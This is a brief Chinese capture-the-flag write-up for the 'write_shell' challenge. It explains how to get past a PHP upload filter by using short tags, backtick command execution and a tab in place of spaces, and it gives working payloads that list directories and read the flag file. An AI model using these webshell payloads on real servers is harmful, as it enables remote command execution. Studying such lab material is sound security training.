[BUUCTF题解][红明谷CTF 2021]write_shell
### 知识点
- PHP特性
- Linux命令
过程
打开题目就能看到源码,也没必要去搜集了,简单审查下可以发现提供了一个简单的写入php文件的功能,但是对内容进行了过滤。

php标签的php被过滤,可以换用短标签<?= code?>,至于;被过滤并不用单行,因为?>对于一组PHP代码中最后一句起到替代;的作用,所以我们可以构造如下payload:
?action=upload&data=<?=`ls`?>
再获取下写入文件的路径以便访问。

访问路径可以发现写入的内容被成功执行了。

接下来列下根目录,至于空格被过滤有很多方法,这里采用%09来替代(制表符\t的URL编码)。
?action=upload&data=<?=`ls%09/`?>

发现了flag文件,读取后获得flag。
?action=upload&data=<?=`cat%09/flllllll1112222222lag`?>


浙公网安备 33010602011771号